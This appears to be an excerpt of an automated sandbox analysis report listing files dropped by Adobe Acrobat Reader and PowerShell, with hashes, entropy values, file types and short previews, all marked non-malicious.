SSDEEP:	6:YEQXJ2HX4z/p6fGLVb+FIbRI6XVW7+0YtRkoAvJf+dPeUkwRe9:YvXKX4z/wftYpW7whG28Ukee9
MD5:	DED4C83DF31F3F283300979FC3C67EF1
SHA1:	21A983C86626D0FAF5A9BF999373BDF6365370AB
SHA-256:	E4FA2B5E5893DA104331C547BA167858F7E3CB28F7D84252E696AC48EE0044DA
SHA-512:	8A4ED6B05D56D5155E8F0FC5C69D91C699F20BAFE3BEC3E7F9BF3E1A8C72A242E9D1CF76D4A5D228C9C1FA3E69EE977D17A24668B0FDCD58BA8FE7FB3DA3F32F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cbb0b6dd-f597-4e8d-bb31-3c1cdd9e8f60","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736932283142,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.270479926908424
Encrypted:	false
SSDEEP:	6:YEQXJ2HX4z/p6fGLVb+FIbRI6XVW7+0YtRkoAvJfbPtdPeUkwRe9:YvXKX4z/wftYpW7whGDV8Ukee9
MD5:	68F1629C34E97D27B079ABACA1A8790F
SHA1:	B63DDAF4ABCD1AC67BA16955FE368805A5E9AA9B
SHA-256:	97CA5146DEE4A3B0A510539E13DA8FBE50885266F6080AD531F22F3FC91A7306
SHA-512:	7B0065CB30FFE054980E2127549CF7CB69EA7585F970C62D4A28ED06978A0EB8E3D0A41E73A23C231F250B4882D156966286B389AEFDBFED6BEEA411D286F03C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cbb0b6dd-f597-4e8d-bb31-3c1cdd9e8f60","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736932283142,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.271321275254511
Encrypted:	false
SSDEEP:	6:YEQXJ2HX4z/p6fGLVb+FIbRI6XVW7+0YtRkoAvJf21rPeUkwRe9:YvXKX4z/wftYpW7whG+16Ukee9
MD5:	EDE99F5C504DD98E1A6ED0B092431D5D
SHA1:	ABFEBD90EDC707BD2487E1389BB66D7AD5BADDA3
SHA-256:	02E16CEF210B1A63469260D9C446FB08D4416E9D4C53F5697E3461F95393CD28
SHA-512:	23F8908D4DEF5B6C84BAF5FEB60DE82FE77A8ABF908EC2B8426797252B4F3DB8F01A9C2939D4D4B6BC0003104CEC3969D786B200BBC6AFD70697F0C2C89A2380
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cbb0b6dd-f597-4e8d-bb31-3c1cdd9e8f60","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736932283142,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.657024705930042
Encrypted:	false
SSDEEP:	24:Yv6XmweifamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSon:Yvfq3BgkDMUJUAh8cvMa
MD5:	80121B3C716809C3B0F4748A294FC934
SHA1:	656548B67A4254F7764FF97C41552D11A6CF86D4
SHA-256:	06DCEDDF3AB3A3125D3FC97AE5254314A1B0FCE63C04CB3870793A1BAC886F88
SHA-512:	D851354B28973C562C738DAF73F5025D96A8D23179C9C5D32396FDFD10579B41CAFFA5B9F7C3FC3049748960D018051BFFF03458FE56E1986F24D64486B26EDA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cbb0b6dd-f597-4e8d-bb31-3c1cdd9e8f60","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736932283142,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.244339951522921
Encrypted:	false
SSDEEP:	6:YEQXJ2HX4z/p6fGLVb+FIbRI6XVW7+0YtRkoAvJfshHHrPeUkwRe9:YvXKX4z/wftYpW7whGUUUkee9
MD5:	4B9764702FDB99961DE2662E96052408
SHA1:	04CD2F39EEB71279CE471DA2F78EE92E0316B234
SHA-256:	01B9C324F5DB3D11800628B4BB6221AD439EDBDDDA945898DCCD859B96B5645C
SHA-512:	A1E85FAD84757F3B7244C19D38D4652014F76026757008288AF661D4E09D6B19A71B0A4BF97351994BAD05C77C86D545758D4B5C9BBBF4FD160FB3710ADEF20E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cbb0b6dd-f597-4e8d-bb31-3c1cdd9e8f60","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736932283142,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.257917921529626
Encrypted:	false
SSDEEP:	6:YEQXJ2HX4z/p6fGLVb+FIbRI6XVW7+0YtRkoAvJTqgFCrPeUkwRe9:YvXKX4z/wftYpW7whGTq16Ukee9
MD5:	62B2792AF1D94CF8AFEE5E58A3E9F739
SHA1:	7090AC0B2F3424439815B788809C705EBC7D43CE
SHA-256:	04C4D8D4C2499BEB95D9C7FE714D3A67B224A49E00C6A83A387216D23C41C67C
SHA-512:	EF4722C37EDB631D6165304B96896D591E4BB3AF7DE4EA7CA5BAAF240964917BE1713DC1508F513AD0B77D81EA486C582334FFA7315B45B881E88A69804B3453
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cbb0b6dd-f597-4e8d-bb31-3c1cdd9e8f60","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736932283142,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.143277031444544
Encrypted:	false
SSDEEP:	24:YgtSWK6a7ayFtyOrnN9RjKM4RYpKzKPZZzjnP2ej0S3DAAGe2jD2LS3yC8cyCNw7:Yh5vRz4mVPuA9aEHc/ZhFLiOR9W
MD5:	6E6371E68CC266F94C364685F8E164D7
SHA1:	E123842633A3443AB03C822A5E8FE24C7A4F6BE2
SHA-256:	A62FFE286D1783CFAE4FDD3338268BBC877051D42294C148A62A5360E0B6D22F
SHA-512:	348DAA6C1824EDB41DA2D121367468DA9F36C86A04D9C52C2F58EF7B5AE05AD957BA638349C1F91850AFF607ACD91CC0646E50D4B2C44793DDAEFA7935301182
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"9d8d1b75bc7ecf0a96f330fdfb9a3e7c","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736754368000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"632cb480c98bfa53776141596ebe13ab","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736754368000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"8dff510b76e941d7014a0bb09f9cfb29","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736754368000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"eb635ed4891182d91ff6b7385713dca3","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736754368000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"62a398c3896bbc17f709813243f80e27","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736754368000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"4a743c5ca19ee74ab52b56a27b945008","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9857833870950683
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Spjox4zJwtNBwtNbRZ6bRZ4UoxF:TVl2GL7ms6ggOVpjoyzutYtp6PVoD
MD5:	AA6B66EF0A0C3665F3B1262B3AB7486A
SHA1:	BF748F1D28BCB2B7F73E88115CB792E6FF282AD1
SHA-256:	D3E46568FD8B20637E8AD7046358A56CB28FE7AC0F516828DE0D23C9B58FA0F4
SHA-512:	55D94E14786E7661F9401C4B7A516D0EEDCB9554575864191BCB159911172E39DB6AB7BC9F6B147FA813202A8BAE3CD36022569033D3DC73F26FDE98DB7DD486
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3408401120549833
Encrypted:	false
SSDEEP:	24:7+tpHAD1RZKHs/Ds/SpjoxPzJwtNBwtNbRZ6bRZWf1RZKjBRqLBx/XYKQvGJF7uM:7M5GgOVpjopzutYtp6PMeRqll2GL7msx
MD5:	5FC57D22868D39F411EC1F158827AF04
SHA1:	B43DDD8053A84406274AE7CDE0FCAF1FD3384DEB
SHA-256:	DAE91A578E6AE44FFEB75810CE95F9197E58862D0550716BD26CC494A814F36F
SHA-512:	23A30EFE5D69106D9D16D29DE54E707170C8F0FE13F589E1D9E61A63024825BDEA4EFE6F3918314370C5A728E9C8EB6A6D775259DE6FB09E2F2DECE6FF599972
Malicious:	false
Preview:	.... .c......`Y.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgz99zLE41kzfxCpvHFrIrpdXunYyu:6a6TZ44ADEz91E4ubxIAdXKK
MD5:	AE8BE83E37EAB7486CB9473DF1BDF4B0
SHA1:	23BD3A10509F6D2C5AFDFA231B8FEB19124DA3C9
SHA-256:	86AA3DBDFC9FC035D075897FB79839FC005B52982316AECFBC140B4D6A07A5AF
SHA-512:	B3BE15E10BA8B1B990D26C0EC9416BAB86D2904C0E48D1B13CFF2225F100832631C305A5E70B5AFB87C6F33D52E3CE4506B937219ECF871F656F7C9D72D99076
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI3da9d.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.534010397435022
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K84jCl8ww:Qw946cPbiOxDlbYnuRKTjj
MD5:	EF01AD67E4D1F85ACAACB4799F463593
SHA1:	22C03E2B951E28FB4E2CBB0DC97F3D963226833D
SHA-256:	8DFA249FEC8D908E2F8DD0ABA283EB8821232490816D95761F8C9FACF19B6D62
SHA-512:	385C388DB48A44E4955B6727DB08EB445F902C08ABD47ADCF54FB3488F9386FBFDF4E839CD9C3CA570C8C338DF3BA606F0A087C8F88CC70A0FCEF58B8EED7A60
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.3./.0.1./.2.0.2.5. . .0.2.:.4.6.:.0.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_50zdz3bd.hml.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r24nsrye.scj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-13 02-46-04-750.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3528174842149205
Encrypted:	false
SSDEEP:	384:+UGpOwEX/ctfU+EdJgl4kD2jZzMz28g5jNjWjhPVxey6x0pznWWWtJj4D4FsrNAZ:7JHJya
MD5:	AF51AECAAD0578DF39FE07ED625201DF
SHA1:	052646E44D547B7D330FA3591C1B133630264243
SHA-256:	CFC9B47D69B8FCC2B88D9B38B6573F5916394F1A2C1700D2D3FCD5B7BD39E925
SHA-512:	CF82893607901B5B8986E42E1DB2BC97D377EB6C7EAC4338721EE5A5A493CB5815764D52C9676C5174A586095C72FC8F068AE98512EC38652D66D55199F61F6B
Malicious:	false
Preview:	SessionID=93a7537b-d964-467e-ac8a-d5ecfdbe738e.1736754364780 Timestamp=2025-01-13T02:46:04:780-0500 ThreadID=7720 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=93a7537b-d964-467e-ac8a-d5ecfdbe738e.1736754364780 Timestamp=2025-01-13T02:46:04:783-0500 ThreadID=7720 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=93a7537b-d964-467e-ac8a-d5ecfdbe738e.1736754364780 Timestamp=2025-01-13T02:46:04:783-0500 ThreadID=7720 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=93a7537b-d964-467e-ac8a-d5ecfdbe738e.1736754364780 Timestamp=2025-01-13T02:46:04:783-0500 ThreadID=7720 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=93a7537b-d964-467e-ac8a-d5ecfdbe738e.1736754364780 Timestamp=2025-01-13T02:46:04:783-0500 ThreadID=7720 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.397037838107146
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbt:5
MD5:	0FD1E9D4F1DB257C3A94FD97BB38271E
SHA1:	ABBA9A89FA3CD7C778236E0A9322AF623648585B
SHA-256:	53C0EC0701E73FE68679AB4CAEED13D57A9C881CDF608C9FA81001DD3311FD96
SHA-512:	974A662AEE97DD16021E2A1F764B4D400BE4673E29FD6D7B0A239035707BAE59E5A45581524BB2437BC0A4BDA517F48D63293B4BB9166E43596DDC928D6B6129
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\2162e092-15b1-416c-aa4b-12126945c881.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\5e3f8592-7ac8-417d-8a07-67d5dd9aa3d0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
